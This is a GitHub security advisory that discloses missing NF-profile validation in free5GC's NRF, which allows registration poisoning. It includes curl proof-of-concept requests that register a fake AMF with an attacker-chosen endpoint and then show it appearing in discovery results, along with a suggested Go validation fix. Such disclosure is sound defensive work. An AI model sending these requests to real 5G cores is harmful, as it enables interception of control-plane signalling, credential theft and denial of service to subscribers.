Skip to content

free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints

Critical severity GitHub Reviewed Published Jun 22, 2026 in free5gc/free5gc • Updated Aug 28, 2026

Package

gomod github.com/free5gc/free5gc (Go)

Affected versions

< 4.2.2

Patched versions

4.2.2

Description

Summary

free5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers.


Details

free5GC NRF's RegisterNFInstance handler (PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID}) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated:

Format validation: nfInstanceId accepts non-UUID strings (e.g., "not-a-uuid", "11111111-1111-1111-1111-111111111111"), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement.

Enum validation: nfStatus accepts values outside the {REGISTERED, SUSPENDED, UNDISCOVERABLE} enum (e.g., "INVALID_STATUS").

Range validation: heartBeatTimer accepts values outside the valid range [1, 3600] (e.g., 0, 99999), violating TS 29.510 §5.2.2.2.

Mandatory field enforcement: nfProfile is accepted as null, violating the required field constraint in §5.2.2.2.

Service endpoint integrity: nfServices.ipEndPoints entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., 10.0.0.99) to be registered as legitimate NF service endpoints.

All five failure modes return HTTP 200/201. The profiles are stored in MongoDB's NfProfile collection (which has no JSON schema validator) and appear in NFDiscover results alongside legitimate NF instances.

Attack chain ( OAuth is enabled):

  1. A compromised NF with valid OAuth token registers a fake AMF with nfServices.ipEndPoints pointing to 10.0.0.99:7777
  2. NRF stores the profile and advertises it via NFDiscover
  3. SMF queries NRF for AMF instances and selects the fake one
  4. SMF routes N1N2 signaling to 10.0.0.99:7777
  5. Attacker intercepts control-plane traffic

Discovery methodology: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories.

Logging: NRF default configuration (LogEnable: false) produces zero runtime log lines — 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging).

PoC

No configuration changes needed. Default free5GC deployment is vulnerable.

# Step 1: Register fake AMF with attacker-controlled IP
curl -X PUT \
  "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \
  -H "Content-Type: application/json" \
  -d '{
    "nfInstanceId": "11111111-1111-1111-1111-111111111111",
    "nfType": "AMF",
    "nfStatus": "REGISTERED",
    "heartBeatTimer": 3600,
    "plmnList": [{"mcc": "001", "mnc": "01"}],
    "sNssais": [{"sst": 1, "sd": "010203"}],
    "nfServices": [{
      "serviceInstanceId": "fake-amf-svc",
      "serviceName": "namf-comm",
      "versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}],
      "scheme": "http",
      "nfServiceStatus": "REGISTERED",
      "ipEndPoints": [{"ipv4Address": "10.0.0.99", "port": 7777, "transport": "TCP"}]
    }]
  }'
# Returns: HTTP 201 (Accepted — profile stored with fake endpoint)

# Step 2: Confirm the profile is stored
curl "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111"
# Returns: HTTP 200 with fake IP 10.0.0.99:7777 in the response

# Step 3: Verify the fake AMF appears in discovery results
curl "http://172.24.0.10:8000/nnrf-disc/v1/nf-instances?target-nf-type=AMF&requester-nf-type=SMF"
# Returns: HTTP 200 — fake AMF with 10.0.0.99:7777 listed alongside real AMFs

# Additional constraint violations (all return 200/201):
curl -X PUT "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/not-a-uuid" \
  -H "Content-Type: application/json" \
  -d '{"nfInstanceId": "not-a-uuid", "nfType": "AMF", "nfStatus": "INVALID_STATUS", "heartBeatTimer": 0}'
# Returns: HTTP 201 (non-UUID + invalid enum + out-of-range timer — ALL accepted)

Expected fix:

import "github.com/google/uuid"

func validateNFProfile(profile *NFProfile) error {
    // UUID v4 validation
    if _, err := uuid.Parse(profile.NfInstanceId); err != nil {
        return fmt.Errorf("nfInstanceId must be valid UUID v4")
    }
    // Enum validation
    validStatuses := map[string]bool{"REGISTERED": true, "SUSPENDED": true, "UNDISCOVERABLE": true}
    if !validStatuses[profile.NfStatus] {
        return fmt.Errorf("nfStatus must be REGISTERED, SUSPENDED, or UNDISCOVERABLE")
    }
    // Range validation
    if profile.HeartBeatTimer < 1 || profile.HeartBeatTimer > 3600 {
        return fmt.Errorf("heartBeatTimer must be between 1 and 3600")
    }
    return nil
}
// Return HTTP 400 with ProblemDetails on validation failure

Impact

Property Value
Authentication None required
Impact Control-plane traffic interception, OAuth2 credential harvesting, denial of service
Affected component free5GC NRF Docker image free5gc-fuzz:latest
Affected implementations All NFs that use NFDiscover (AMF, SMF, AUSF, UDM, PCF, NSSF) — the fake profile propagates to the entire 5GC service mesh
Fix Add UUID/enum/range/required-field validation to RegisterNFInstance handler; return HTTP 400 with ProblemDetails on failure
Status Reported to maintainers

Scope of impact: Unlike denial-of-service attacks (SIGABRT/SIGSEGV) that only affect a single Network Function (NF), this vulnerability can impact all NFs within the 5GC service mesh. Once a forged NF profile is registered, any NF querying the NRF for service discovery may be redirected to an attacker-controlled endpoint. The 27,601 profiles registered during testing fully demonstrate the automated scale achievable by such an attack.

Environment: free5GC Docker image free5gc-fuzz:latest, Docker Compose, Ubuntu 22.04, kernel 6.8.0-111, bridge network 172.24.0.0/24.

References

@Alonza0314 Alonza0314 published to free5gc/free5gc Jun 22, 2026
Published to the GitHub Advisory Database Aug 28, 2026
Reviewed Aug 28, 2026
Last updated Aug 28, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(37th percentile)

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

CVE ID

CVE-2026-55068

GHSA ID

GHSA-x8mj-6p3q-g5pp

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.